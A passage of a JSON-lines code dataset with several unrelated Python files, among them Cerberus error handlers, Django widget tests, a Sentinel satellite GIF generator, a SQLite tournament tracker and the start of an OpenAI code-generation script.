 def fetch_errors_from(self, path):\n        \"\"\" Returns all errors for a particular path.\n\n        :param path: :class:`tuple` of :term:`hashable` s.\n        :rtype: :class:`~cerberus.errors.ErrorList`\n        \"\"\"\n        node = self.fetch_node_from(path)\n        if node is not None:\n            return node.errors\n        else:\n            return ErrorList()\n\n    def fetch_node_from(self, path):\n        \"\"\" Returns a node for a path.\n\n        :param path: Tuple of :term:`hashable` s.\n        :rtype: :class:`~cerberus.errors.ErrorTreeNode` or :obj:`None`\n        \"\"\"\n        context = self\n        for key in path:\n            context = context[key]\n            if context is None:\n                return None\n        return context\n\n\nclass DocumentErrorTree(ErrorTree):\n    \"\"\" Implements a dict-like class to query errors by indexes following the\n        structure of a validated document. \"\"\"\n    tree_type = 'document'\n\n\nclass SchemaErrorTree(ErrorTree):\n    \"\"\" Implements a dict-like class to query errors by indexes following the\n        structure of the used schema. \"\"\"\n    tree_type = 'schema'\n\n\nclass BaseErrorHandler:\n    \"\"\" Base class for all error handlers.\n        Subclasses are identified as error-handlers with an instance-test. \"\"\"\n    def __init__(self, *args, **kwargs):\n        \"\"\" Optionally initialize a new instance. \"\"\"\n        pass\n\n    def __call__(self, errors):\n        \"\"\" Returns errors in a handler-specific format.\n\n        :param errors: An object containing the errors.\n        :type errors: :term:`iterable` of\n                      :class:`~cerberus.errors.ValidationError` instances or a\n                      :class:`~cerberus.Validator` instance\n        \"\"\"\n        raise NotImplementedError\n\n    def __iter__(self):\n        \"\"\" Be a superhero and implement an iterator over errors. \"\"\"\n        raise NotImplementedError\n\n    def add(self, error):\n        \"\"\" Add an error to the errors' container object of a handler.\n\n        :param error: The error to add.\n        :type error: :class:`~cerberus.errors.ValidationError`\n        \"\"\"\n        raise NotImplementedError\n\n    def emit(self, error):\n        \"\"\" Optionally emits an error in the handler's format to a stream.\n            Or light a LED, or even shut down a power plant.\n\n        :param error: The error to emit.\n        :type error: :class:`~cerberus.errors.ValidationError`\n        \"\"\"\n        pass\n\n    def end(self, validator):\n        \"\"\" Gets called when a validation ends.\n\n        :param validator: The calling validator.\n        :type validator: :class:`~cerberus.Validator` \"\"\"\n        pass\n\n    def extend(self, errors):\n        \"\"\" Adds all errors to the handler's container object.\n\n        :param errors: The errors to add.\n        :type errors: :term:`iterable` of\n                      :class:`~cerberus.errors.ValidationError` instances\n        \"\"\"\n        for error in errors:\n            self.add(error)\n\n    def start(self, validator):\n        \"\"\" Gets called when a validation starts.\n\n        :param validator: The calling validator.\n        :type validator: :class:`~cerberus.Validator`\n        \"\"\"\n        pass\n\n\nclass ToyErrorHandler(BaseErrorHandler):\n    def __call__(self, *args, **kwargs):\n        raise RuntimeError('This is not supposed to happen.')\n\n    def clear(self):\n        pass\n\n\nclass BasicErrorHandler(BaseErrorHandler):\n    \"\"\" Models cerberus' legacy. Returns a :class:`dict`. \"\"\"\n    messages = {0x00: \"{0}\",\n\n                0x01: \"document is missing\",\n                0x02: \"required field\",\n                0x03: \"unknown field\",\n                0x04: \"field '{0}' is required\",\n                0x05: \"depends on these values: {constraint}\",\n                0x06: \"{0} must not be present with '{field}'\",\n\n                0x21: \"'{0}' is not a document, must be a dict\",\n                0x22: \"empty values not allowed\",\n                0x23: \"null value not allowed\",\n                0x24: \"must be of {constraint} type\",\n                0x25: \"must be of dict type\",\n                0x26: \"length of list should be {constraint}, it is {0}\",\n                0x27: \"min length is {constraint}\",\n                0x28: \"max length is {constraint}\",\n\n                0x41: \"value does not match regex '{constraint}'\",\n                0x42: \"min value is {constraint}\",\n                0x43: \"max value is {constraint}\",\n                0x44: \"unallowed value {value}\",\n                0x45: \"unallowed values {0}\",\n                0x46: \"unallowed value {value}\",\n                0x47: \"unallowed values {0}\",\n\n                0x61: \"field '{field}' cannot be coerced: {0}\",\n                0x62: \"field '{field}' cannot be renamed: {0}\",\n                0x63: \"field is read-only\",\n                0x64: \"default value for '{field}' cannot be set: {0}\",\n\n                0x81: \"mapping doesn't validate subschema: {0}\",\n                0x82: \"one or more sequence-items don't validate: {0}\",\n                0x83: \"one or more keys of a mapping  don't validate: \"\n                      \"{0}\",\n                0x84: \"one or more values in a mapping don't validate: {0}\",\n                0x85: \"one or more sequence-items don't validate: {0}\",\n\n                0x91: \"one or more definitions validate\",\n                0x92: \"none or more than one rule validate\",\n                0x93: \"no definitions validate\",\n                0x94: \"one or more definitions don't validate\"\n                }\n\n    def __init__(self, tree=None):\n        self.tree = {} if tree is None else tree\n\n    def __call__(self, errors=None):\n        if errors is not None:\n            self.clear()\n            self.extend(errors)\n        return self.tree\n\n    def add(self, error):\n        if error.code not in self.messages and not error.is_group_error:\n            return\n        elif error.is_group_error:\n            self.insert_group_error(error)\n        else:\n            field = error.document_path[-1] if error.document_path else None\n            self.insert_error(error.document_path,\n                              self.format_message(field, error))\n\n    def clear(self):\n        self.tree = {}\n\n    def format_message(self, field, error):\n        return self.messages[error.code]\\\n            .format(*error.info, constraint=error.constraint,\n                    field=field, value=error.value)\n\n    def insert_error(self, path, node):\n        \"\"\" Adds an error or sub-tree to :attr:tree.\n\n        :param path: Path to the error.\n        :type path: Tuple of strings and integers.\n        :param node: An error message or a sub-tree.\n        :type node: String or dictionary.\n        \"\"\"\n        field = path[0]\n        if len(path) == 1:\n            if field in self.tree:\n                self.tree[field].append(node)\n            else:\n                self.tree[field] = [node]\n        elif len(path) >= 1:\n            if field not in self.tree:\n                self.tree[field] = [{}]\n            subtree = self.tree[field][-1]\n\n            if subtree:\n                new = self.__class__(tree=copy(subtree))\n            else:\n                new = self.__class__()\n            new.insert_error(path[1:], node)\n            subtree.update(new.tree)\n\n    def insert_group_error(self, error):\n        if error.is_logic_error:\n            self.insert_logic_error(error)\n\n        for error in error.child_errors:\n            if error.is_group_error:\n                self.insert_group_error(error)\n            else:\n                field = error.document_path[-1] if error.document_path else None\n                self.insert_error(error.document_path,\n                                  self.format_message(field, error))\n\n    def insert_logic_error(self, error):\n        path = error.document_path + (error.rule, )\n        self.insert_error(path, self.format_message(None, error))\n        for i in error.definitions_errors:\n            for child_error in error.definitions_errors[i]:\n                field = child_error.document_path[-1]\n                path = child_error.document_path[:-1] + \\\n                    ('definition %s' % i, field)\n                self.insert_error(path, self.format_message(field, child_error))  # noqa\n\n    def start(self, validator):\n        self.clear()\n\n\nclass SchemaErrorHandler(BasicErrorHandler):\n    messages = BasicErrorHandler.messages.copy()\n    messages[0x03] = \"unknown rule\"\n","repo_name":"dfci/matchminer-api","sub_path":"cerberus1/errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":17351,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"77"}
+{"seq_id":"35340950350","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\ntest_django-table-select-widget\n------------\n\nTests for `django-table-select-widget` models module.\n\"\"\"\n\nimport django\nfrom django import forms\nfrom django.test import TestCase\n\nfrom model_mommy import mommy\n\nfrom table_select_widget import TableSelectMultiple\n\nfrom .models import Choice\n\n\nclass TestTableSelectWidget(TestCase):\n    def setUp(self):\n        mommy.make(\n            \"Choice\",\n            name=\"Choice 1\",\n            description=\"Choice 1 description\",\n            choice_type__name=\"Foo type\",\n        )\n\n    maxDiff = None\n\n    def test_widget(self):\n        class ChoiceForm(forms.Form):\n            choice_field = forms.ModelMultipleChoiceField(\n                queryset=Choice.objects.all(),\n                widget=TableSelectMultiple(\n                    item_attrs=[\n                        'name',\n                        'description',\n                    ],\n                ),\n            )\n        render = ChoiceForm().as_p()\n        self.assertHTMLEqual(\n            '<p>'\n            '    <label for=\"id_choice_field\">Choice field:</label>'\n            '    <table id=choice_field class=\"display\">'\n            '        <thead>'\n            '            <tr>'\n            '                <th class=\"no-sort\"></th>'\n            '                <th>Name</th>'\n            '                <th>Description</th>'\n            '            </tr>'\n            '        </thead>'\n            '        <tbody>'\n            '            <tr>'\n            '                <td>'\n            '                    <input '\n            '                        class='\n            '                        \"tableselectmultiple selectable-checkbox\"'\n            '                        id=\"id_choice_field_0\"'\n            '                        name=\"choice_field\"'\n            '                        type=\"checkbox\"'\n            '                        value=\"1\"'\n            '                        {}'\n            '                        />'\n            '                </td>'\n            '                <td>Choice 1</td><td>Choice 1 description</td>'\n            '            </tr>'\n            '        </tbody>'\n            '    </table>'\n            '    <script>'\n            '    </script>'\n            '</p>'.format(\"required\" if django.VERSION > (1,10,0) else \"\"),\n            render,\n        )\n\n    def test_widget_datatables(self):\n        class ChoiceForm(forms.Form):\n            choice_field = forms.ModelMultipleChoiceField(\n                queryset=Choice.objects.all(),\n                widget=TableSelectMultiple(\n                    item_attrs=['name'],\n                    enable_datatables=True,\n                ),\n            )\n        render = ChoiceForm().as_p()\n        self.assertTrue(\"$('#choice_field').DataTable({\" in render)\n\n    def test_widget_datatables_options(self):\n        \"\"\" Test setting additional options \"\"\"\n        class ChoiceForm(forms.Form):\n            choice_field = forms.ModelMultipleChoiceField(\n                queryset=Choice.objects.all(),\n                widget=TableSelectMultiple(\n                    item_attrs=['name'],\n                    enable_datatables=True,\n                    datatable_options={\n                        'language': {'url': 'foo.js'},\n                    },\n                ),\n            )\n        render = ChoiceForm().as_p()\n        self.assertTrue('\"language\": {\"url\": \"foo.js\"}' in render)\n\n    def test_widget_bootstrap(self):\n        class ChoiceForm(forms.Form):\n            choice_field = forms.ModelMultipleChoiceField(\n                queryset=Choice.objects.all(),\n                widget=TableSelectMultiple(\n                    item_attrs=['name'],\n                    bootstrap_style=True,\n                ),\n            )\n        render = ChoiceForm().as_p()\n        self.assertTrue(\"form-check-input\" in render)\n        self.assertTrue(\"table table-sm table-bordered\" in render)\n\n    def test_widget_shift_select(self):\n        class ChoiceForm(forms.Form):\n            choice_field = forms.ModelMultipleChoiceField(\n                queryset=Choice.objects.all(),\n                widget=TableSelectMultiple(\n                    item_attrs=['name'],\n                    enable_shift_select=True,\n                ),\n            )\n        render = ChoiceForm().as_p()\n        self.assertTrue(\"$.fn.shiftClick = function () {\" in render)\n\n    def test_widget_related(self):\n        \"\"\" Test, that function on related field is called \"\"\"\n        class ChoiceForm(forms.Form):\n            choice_field = forms.ModelMultipleChoiceField(\n                queryset=Choice.objects.all(),\n                widget=TableSelectMultiple(\n                    item_attrs=[('choice_type__get_name', 'Type')],\n                ),\n            )\n        render = ChoiceForm().as_p()\n        self.assertTrue(\"<th>Type</th>\" in render)\n        self.assertTrue(\"<td>Type: Foo type</td>\" in render)\n\n    def test_widget_none(self):\n        \"\"\" If value of variable is null, render it as blank cell \"\"\"\n        mommy.make(\n            \"Choice\",\n            name=\"Choice 2\",\n            description=None,\n        )\n        class ChoiceForm(forms.Form):\n            choice_field = forms.ModelMultipleChoiceField(\n                queryset=Choice.objects.all(),\n                widget=TableSelectMultiple(\n                    item_attrs=['description'],\n                ),\n            )\n        render = ChoiceForm().as_p()\n        self.assertTrue(\"</td><td></td></tr>\" in render)\n","repo_name":"willardmr/DjangoTableSelectMultipleWidget","sub_path":"tests/test_widget.py","file_name":"test_widget.py","file_ext":"py","file_size_in_byte":5528,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"39554429093","text":"import gc\nimport logging\nimport math\nimport sys\nfrom concurrent import futures\nfrom functools import partial\n\nimport boto3\nimport numpy as np\nimport rasterio\nfrom PIL import Image, ImageDraw\nfrom sat_giffer import settings\nfrom rasterio import transform\nfrom rasterio.session import AWSSession\nfrom rasterio.vrt import WarpedVRT\nfrom rasterio.warp import calculate_default_transform, Resampling\n\nsession = rasterio.Env(\n    AWSSession(aws_access_key_id=settings.AWS_KEY, aws_secret_access_key=settings.AWS_SECRET)) if 'test' not in \\\n                                                                                                  sys.argv[0] else None\nMAX_WORKERS = 2\n\n\ndef get_cropped_data_from_bucket(band, key, bounds, vrt_params, out_crs):\n    \"\"\"\n    Recovered the data for a given band for a given scene\n    :param band: Number of the band of interest\n    :param key: Tile location on AWS\n    :param bounds: bounding box of the area of interest\n    :param vrt_params: meta dictionary for resulting fle\n    :param out_crs: output coordinate system\n    :return: the cropped data from the band for the bounds\n    \"\"\"\n    f = key + 'B0%s.jp2' % band\n    with session:\n        with rasterio.open(f) as src:\n            logging.info('Getting data for file {f}'.format(f=f))\n            vrt_transform, vrt_width, vrt_height = get_vrt_transform(src, bounds, bounds_crs=out_crs)\n            vrt_width = round(vrt_width)\n            vrt_height = round(vrt_height)\n            vrt_params.update(\n                dict(transform=vrt_transform, width=vrt_width, height=vrt_height)\n            )\n            with WarpedVRT(src, **vrt_params) as vrt:\n                logging.info('Getting data from bucket for {f}'.format(f=f))\n                data = vrt.read(\n                    out_shape=(1, vrt_height, vrt_width),\n                    resampling=Resampling.bilinear,\n                    indexes=[1],\n                )\n        gc.collect()\n        return data\n\n\ndef rgb_for_key(key, bounds=None, vrt_params=None, out_crs=None):\n    \"\"\"\n    Loops over Blue, Green and Red Sentinel bands to build a color image\n    :param key:\n    :param bounds:\n    :param vrt_paramsdjango-extensions==2.1.5:\n    :param out_crs:\n    :return:\n    \"\"\"\n    bands = ['2', '3', '4']\n    logging.info('Getting data for key {key}'.format(key=key))\n    _worker = partial(get_cropped_data_from_bucket, key=key, bounds=bounds, vrt_params=vrt_params, out_crs=out_crs)\n    with futures.ProcessPoolExecutor(max_workers=3) as executor:\n        try:\n            data = np.concatenate(list(executor.map(_worker, bands)))\n        except:\n            return\n        gc.collect()\n    reshaped_data = np.zeros((data.shape[1], data.shape[2], data.shape[0]))\n    for i in range(3):\n        reshaped_data[:, :, abs(i - 2)] = data[i, :, :]\n    return reshaped_data\n\n\ndef get_vrt_transform(src, bounds, bounds_crs='epsg:3857'):\n    \"\"\"Calculate VRT transform.\n    Attributes\n    ----------\n    src : rasterio.io.DatasetReader\n        Rasterio io.DatasetReader object\n    bounds : list\n        Bounds (left, bottom, right, top)\n    bounds_crs : str\n        Coordinate reference system string (default \"epsg:3857\")\n    Returns\n    -------\n    vrt_transform: Affine\n        Output affine transformation matrix\n    vrt_width, vrt_height: int\n        Output dimensions\n    \"\"\"\n    dst_transform, _, _ = calculate_default_transform(src.crs,\n                                                      bounds_crs,\n                                                      src.width,\n                                                      src.height,\n                                                      *src.bounds)\n    w, s, e, n = bounds\n    vrt_width = math.ceil((e - w) / dst_transform.a)\n    vrt_height = math.ceil((s - n) / dst_transform.e)\n\n    vrt_transform = transform.from_bounds(w, s, e, n, vrt_width, vrt_height)\n\n    return vrt_transform, vrt_width, vrt_height\n\n\ndef get_utm_srid(lat, lon):\n    \"\"\"\n    Calculate which utm zone the AOI should fall into\n    :param lat: Latitude in WGS84\n    :param lon: Longitude in WGS84\n    :return: Integer EPSG code\n    \"\"\"\n    return int(32700 - round((45 + lat) / 90, 0) * 100 + round((183 + lon) / 6, 0))\n\n\ndef make_gif(keys, data, toa):\n    \"\"\"\n    Combine the data into a single array\n    :param keys: Location of the tiles on AWS\n    :param data: The image arrays\n    :param toa: toa True/False\n    :return: Data with dates embedded on the gif\n    \"\"\"\n    drawn = []\n    for fn, i in zip(keys, data):\n        if i is None:\n            continue\n        if len(np.where(i[:, :, 2] == 0)[0]) > i[:, :, 2].size * 0.8:\n            continue\n        if len(np.where(i[:, :, 2] > 2000)[0]) < i[:, :, 2].size * 0.2:\n            i = np.hstack((np.zeros((i.shape[0], 100, 3)), i))\n            im = Image.fromarray(np.clip((i * 255 / 2000), 0, 255).astype(np.uint8))\n            draw = ImageDraw.Draw(im)\n            if toa:\n                draw.text((20, 50), '%s' % '-'.join(fn.split('/')[-5:-2]), fill=(255, 255, 255, 255))\n            else:\n                draw.text((20, 50), '%s' % '-'.join(fn.split('/')[-6:-3]), fill=(255, 255, 255, 255))\n            drawn.append(np.array(im))\n    return drawn\n\n\ndef upload_file_to_s3(body):\n    \"\"\"\n    Uploads a given file to s3\n    :param body: filename\n    :return: None\n    \"\"\"\n    s3_client = boto3.Session(settings.AWS_KEY, settings.AWS_SECRET).client('s3', region_name='eu-central-1')\n    s3_client.upload_file(Filename='gifs/%s.gif' % body, Bucket='sat-giffer', Key='gifs/%s.gif' % body,\n                          ExtraArgs={'ACL': 'public-read'})\n\n\ndef get_s3_urls(first_tile, search_results, toa):\n    \"\"\"\n    Get a filtered list of S3 URIs given a tile id and search results\n    :param first_tile: first tile to appear in the search\n    :param search_results: full results of the search\n    :param toa: whether to attempt to retrieve toa/boa data\n    :return: list of s3 URIs\n    \"\"\"\n    if toa:\n        keys = [i['properties']['s3URI'] for i in search_results if\n                first_tile in i['properties']['s3URI']]\n    else:\n        keys = [i['properties']['s3URI'].replace('l1c', 'l2a') + 'R10m/' for i in search_results if\n                first_tile in i['properties']['s3URI']]\n    return keys\n\n\ndef get_data_for_keys(bounds, keys, out_crs, vrt_params):\n    \"\"\"\n    Get RGB data from AWS given a list of keys\n    :param bounds: bounding box of AOI\n    :param keys: List of S3 URIS\n    :param out_crs: output crs\n    :param vrt_params: params for transformation\n    :return: the data array\n    \"\"\"\n    with futures.ProcessPoolExecutor(max_workers=MAX_WORKERS) as executor:\n        _worker = partial(rgb_for_key, bounds=bounds, vrt_params=vrt_params, out_crs=out_crs)\n        data = list(executor.map(_worker, keys))\n        gc.collect()\n    return data\n","repo_name":"JamesOConnor/sat_giffer","sub_path":"src/giffer.py","file_name":"giffer.py","file_ext":"py","file_size_in_byte":6793,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"36477757734","text":"from baconlang.baconlang_syntax_error import BACONLangSyntaxError\n\n\ndef parse(raw):\n    symbols = [\n        symbol.strip()\n        for symbol in raw.replace(\"[\", \"[,\").replace(\"]\", \",]\").split(\",\")\n    ]\n\n    for idx, symbol in enumerate(symbols):\n        if symbol is \"[\" or symbol is \"]\":\n            continue\n\n        if len(symbol) and symbol[0] is '\"' and symbol[-1] is '\"':\n            symbols[idx] = symbol[1:-1]\n\n        else:\n            # Only valid strings are legal symbols\n            raise BACONLangSyntaxError(symbol)\n\n    return symbols\n","repo_name":"baconlang/python","sub_path":"baconlang/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"3945605319","text":"from django.conf.urls import url\nfrom . import views\n\napp_name=\"UniversityInfo\"\n\nurlpatterns = [\n\n    url(r'^$', views.DepartmentList,name=\"dept_list\"),\n    url(r'^about/$', views.About,name=\"about\"),\n    url(r'^contact/$', views.Contact,name=\"contact\"),\n    url(r'^department/(?P<dept_name>[\\w-]+)/$', views.DepartmentDetail,name=\"dept_detail\"),\n    url(r'^department/(?P<dept_name>[\\w-]+)/(?P<batch_session>[\\w-]+)/$', views.StudentList,name=\"student_list\"),\n    url(r'^department/(?P<dept_name>[\\w-]+)/(?P<batch_session>[\\w-]+)/(?P<reg_number>[\\w-]+)/$', views.StudentDetail,name=\"student_detail\"),\n]\n","repo_name":"raselcse07/University","sub_path":"src/UniversityInfo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28129676287","text":"import numpy as np\n\n\ndef getTV_unit_test(shufIdx, X, y, Xp, yp) :\n\tidx = np.argwhere(shufIdx == 100)\n\tidx = np.asscalar(idx)\n\tassert(np.array_equal(X[idx], Xp[100]))\n\tassert(np.array_equal(y[idx], yp[100]))\n\ndef getTrainValidSet(X, y, r) :\n    # X should have size [dataNumximgSizeximgSizeximgChan]\n    # y should have size [dataNumxnb_class]\n    assert(X.shape[0] == y.shape[0])\n    # shufIdx = np.random.permutation(X.shape[0])\n    shufIdx = range(X.shape[0])\n    np.random.shuffle(shufIdx)\n    Xp = X\n    yp = y\n    X = X[shufIdx]\n    y = y[shufIdx]\n    # getTV_unit_test(shufIdx, X, y, Xp, yp)\n\n    mid= int(np.floor(X.shape[0]*(1.-r)))\n    # Return values: X_trian, X_valid, y_train, y_valid\n    return (X[0:mid], X[mid:], y[0:mid], y[mid:])\n\ndef parsePara(paraFile=\"./paras\") :\n\tpara = dict()\n\twith open(\"./paras\", \"r\") as pf :\n\t\tfor l in pf :\n\t\t\t# Remove white space\n\t\t\tl = l.replace(\" \", \"\")\n\t\t\t# Remove comments\n\t\t\tcont = l.split(\"#\")\n\n\t\t\tif cont[0] != \"\" :\n\t\t\t\tcontArr = cont[0].split(\"=\")\n\t\t\t\tnum = contArr[1]\n\t\t\t\tnum = float(num) if \".\" in num else int(num)\n\t\t\t\tpara[contArr[0]] = num\n\n\treturn para\n","repo_name":"andrewccchan/ML2016","sub_path":"hw3/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"44479302615","text":"import sqlite3\n\n\ndef cursor_and_conn_to_db():\n    tournament_table = \"pokemon_tournament.db\"\n    conn = sqlite3.connect(tournament_table)\n    cursor = conn.cursor()\n    return cursor, conn\n\n\ndef close_conn(conn):\n    conn.commit()\n    conn.close()\n\n\ndef create_tables():\n    cursor, conn = cursor_and_conn_to_db()\n\n    # Create the Players table if it doesn't exist\n    cursor.execute(\n        \"\"\"\n        CREATE TABLE IF NOT EXISTS Players (\n            id INTEGER PRIMARY KEY,\n            name TEXT NOT NULL,\n            created TIMESTAMP DEFAULT CURRENT_TIMESTAMP,\n            updated TIMESTAMP DEFAULT CURRENT_TIMESTAMP\n        )\n    \"\"\"\n    )\n\n    cursor.execute(\n        \"\"\"\n        CREATE TABLE IF NOT EXISTS Tournaments (\n            id INTEGER PRIMARY KEY,\n            created TIMESTAMP DEFAULT CURRENT_TIMESTAMP,\n            updated TIMESTAMP DEFAULT CURRENT_TIMESTAMP\n        )\n    \"\"\"\n    )\n\n    cursor.execute(\n        \"\"\"\n        CREATE TABLE IF NOT EXISTS Rounds (\n            round_id INTEGER PRIMARY KEY,\n            tournament_id INTEGER,\n            player1_id INTEGER,\n            player2_id INTEGER,\n            winner_id INTEGER,\n            loser_id INTEGER,\n            round_number INTEGER,\n            round_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP,\n            FOREIGN KEY (tournament_id) REFERENCES Tournaments (id),\n            FOREIGN KEY (player1_id) REFERENCES Players (id),\n            FOREIGN KEY (player2_id) REFERENCES Players (id),\n            FOREIGN KEY (winner_id) REFERENCES Players (id),\n            FOREIGN KEY (loser_id) REFERENCES Players (id)\n        )\n    \"\"\"\n    )\n\n    close_conn(conn)\n\n\ndef get_player_name(player_id):\n    cursor, conn = cursor_and_conn_to_db()\n    player = cursor.execute(\n        \"SELECT name FROM Players WHERE id = ?\", (player_id,)\n    ).fetchone()\n    player_name = player[0] if player else None\n\n    close_conn(conn)\n    return player_name\n\n\ndef add_players(players: list):\n    cursor, conn = cursor_and_conn_to_db()\n\n    for name in players:\n        # Check if the player already exists\n        cursor.execute(\"SELECT id FROM Players WHERE name = ?\", (name,))\n        existing_player = cursor.fetchone()\n\n        if not existing_player:\n            cursor.execute(\"INSERT INTO Players (name) VALUES (?)\", (name,))\n\n    close_conn(conn)\n\n\ndef init_db():\n    create_tables()\n\n    players = [\"Nathan\", \"Angelina\", \"Gma V\", \"Gwen\", \"Toby\", \"Louis\"]\n    add_players(players)\n\n\ndef get_player_stats(player_id):\n    cursor, conn = cursor_and_conn_to_db()\n    cursor.execute(\n        \"\"\"\n        SELECT\n            wins,\n            losses,\n            CASE\n                WHEN wins = 0 AND losses = 0 THEN 0\n                WHEN losses = 0 THEN 100\n                ELSE CAST(wins AS FLOAT) / (wins + losses) * 100\n            END AS win_loss_ratio\n        FROM (\n            SELECT\n                IFNULL(COUNT(CASE WHEN winner_id = ? THEN 1 END), 0) AS wins,\n                IFNULL(COUNT(CASE WHEN loser_id = ? THEN 1 END), 0) AS losses\n            FROM Rounds\n            WHERE (player1_id = ? OR player2_id = ?)\n                AND (winner_id IS NOT NULL OR loser_id IS NOT NULL)\n                AND tournament_id IS NOT NULL\n        )\n    \"\"\",\n        (player_id, player_id, player_id, player_id),\n    )\n\n    wins, losses, win_loss_ratio = cursor.fetchone()\n    close_conn(conn)\n    return wins, losses, win_loss_ratio\n\n\ndef get_players():\n    cursor, conn = cursor_and_conn_to_db()\n\n    cursor.execute(\"SELECT id, name FROM Players\")\n    players = cursor.fetchall()\n\n    close_conn(conn)\n    return players\n\n\ndef print_all_tournaments():\n    cursor, conn = cursor_and_conn_to_db()\n\n    cursor.execute(\"SELECT * FROM Tournaments\")\n    tournaments = cursor.fetchall()\n\n    print(\"List of all tournaments:\")\n    for tournament_info in tournaments:\n        print(tournament_info)\n\n    close_conn(conn)\n\n\ndef create_tournament_and_return_id():\n    cursor, conn = cursor_and_conn_to_db()\n\n    cursor.execute(\"INSERT INTO Tournaments DEFAULT VALUES\")\n    tournament_id = cursor.lastrowid\n\n    close_conn(conn)\n\n    return tournament_id\n\n\ndef get_tournament_rankings(tournament_id):\n    cursor, conn = cursor_and_conn_to_db()\n    cursor.execute(\n        \"\"\"\n        SELECT\n            p.name,\n            IFNULL(COUNT(CASE WHEN r.winner_id = p.id THEN 1 END), 0) AS wins,\n            IFNULL(COUNT(CASE WHEN r.loser_id = p.id THEN 1 END), 0) AS losses,\n            CASE\n                WHEN IFNULL(COUNT(CASE WHEN r.loser_id = p.id THEN 1 END), 0) = 0 THEN 0\n                ELSE IFNULL(COUNT(CASE WHEN r.winner_id = p.id THEN 1 END), 0) / IFNULL(COUNT(CASE WHEN r.loser_id = p.id THEN 1 END), 0)\n            END AS win_loss_ratio\n        FROM Players p\n        LEFT JOIN Rounds r ON p.id = r.winner_id OR p.id = r.loser_id\n        WHERE r.tournament_id = ?\n        GROUP BY p.id, p.name\n        ORDER BY wins DESC, losses ASC\n    \"\"\",\n        (tournament_id,),\n    )\n\n    rankings = []\n    for row in cursor.fetchall():\n        player_name, wins, losses, win_loss_ratio = row\n        rankings.append((player_name, wins, losses, win_loss_ratio))\n\n    close_conn(conn)\n    return rankings\n\n\ndef get_rounds_without_winner():\n    cursor, conn = cursor_and_conn_to_db()\n\n    cursor.execute(\n        \"\"\"\n        SELECT round_id, round_number, player1_id, player2_id\n        FROM Rounds\n        WHERE winner_id IS NULL\n    \"\"\"\n    )\n\n    rounds = cursor.fetchall()\n\n    close_conn(conn)\n    return rounds\n\n\ndef create_round(tournament_id, round_number, player1_id, player2_id):\n    cursor, conn = cursor_and_conn_to_db()\n    cursor.execute(\n        \"\"\"\n        INSERT INTO Rounds (tournament_id, round_number, player1_id, player2_id)\n        VALUES (?, ?, ?, ?)\n    \"\"\",\n        (tournament_id, round_number, player1_id, player2_id),\n    )\n\n    close_conn(conn)\n\n\ndef update_winner(round_id, winner_id, loser_id):\n    cursor, conn = cursor_and_conn_to_db()\n\n    cursor.execute(\n        \"UPDATE Rounds SET winner_id = ?, loser_id = ? WHERE round_id = ?\",\n        (winner_id, loser_id, round_id),\n    )\n\n    close_conn(conn)\n\n\ndef print_all_rounds():\n    cursor, conn = cursor_and_conn_to_db()\n\n    cursor.execute(\"SELECT * FROM Rounds\")\n    rounds = cursor.fetchall()\n\n    print(\"List of all rounds:\")\n    for round_info in rounds:\n        print(round_info)\n\n    close_conn(conn)\n\n\ndef debug():\n    print(\"Rounds\")\n    print_all_rounds()\n    print(\"Tournaments\")\n    print_all_tournaments()\n","repo_name":"GearsandKeys/Tournament_CLI","sub_path":"data_access.py","file_name":"data_access.py","file_ext":"py","file_size_in_byte":6448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"44250012387","text":"import subprocess\nimport openai\nfrom dotenv import load_dotenv\nimport ast\nimport sys\nimport re\nimport os\n\n# Load the OpenAI API key from the .env file\nload_dotenv()\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\n# Function to generate code using GPT-3.5-turbo\ndef generate_code(prompt):\n    # Create a chat completion with the OpenAI API\n    response = openai.ChatCompletion.create(\n        model=\"gpt-3.5-turbo\",\n        messages=[\n            {\"role\": \"system\", \"content\": \"You are a professional full stack developer.\"},\n            {\"role\": \"user\", \"content\": prompt},\n        ]\n    )\n    # Return the content of the response\n    return response['choices'][0]['message']['content']\n\n# Function to validate generated code\ndef validate_code(code):\n    try:\n        # Parse the code using ast.parse to validate its syntax\n        ast.parse(code)\n        return True\n    except SyntaxError as e:\n        print(f\"Syntax error in generated code: {e}\")\n        if not fix_code(code, e):\n            return False\n        return validate_code(code)\n\n\"\"\"\nGiven a piece of code and an error message, this function extracts the line number from the error message,\nconstructs a prompt for ChatGPT with the code and the error message, sends the prompt to ChatGPT, and extracts\nthe fixed code from the response. It then checks if the fixed code is valid by compiling it, and returns the\nfixed code if it is valid, or False otherwise.\n:param code: A string representing the code to be fixed.\n:param error: An error message indicating the error in the code.\n:return: Either a string representing the fixed code, or False.\n\"\"\"\ndef fix_code(code, error):\n    # Extract line number from error message\n    line_num = int(re.search(r\"line (\\d+)\", str(error)).group(1))\n\n    # Construct prompt for ChatGPT\n    prompt = f\"Fix the error in line {line_num}: {error}\\nCode:\\n{code}\"\n\n    # Send prompt to ChatGPT\n    response = openai.Completion.create(\n        engine=\"davinci-codex\",\n        prompt=prompt,\n        max_tokens=1024,\n        n=1,\n        stop=None,\n        temperature=0.8,\n    )\n\n    # Extract fixed code from response\n    fixed_code = response.choices[0].text.strip()\n\n    # Check if the fixed code is valid\n    try:\n        compile(fixed_code, \"<string>\", \"exec\")\n    except SyntaxError:\n        return False\n\n    # Return fixed code\n    return fixed_code\n\n\n\n# Function to execute the generated code\ndef execute_code(file_name):\n    try:\n        # Execute the code with subprocess.check_output\n        output = subprocess.check_output([sys.executable, file_name], stderr=subprocess.STDOUT)\n        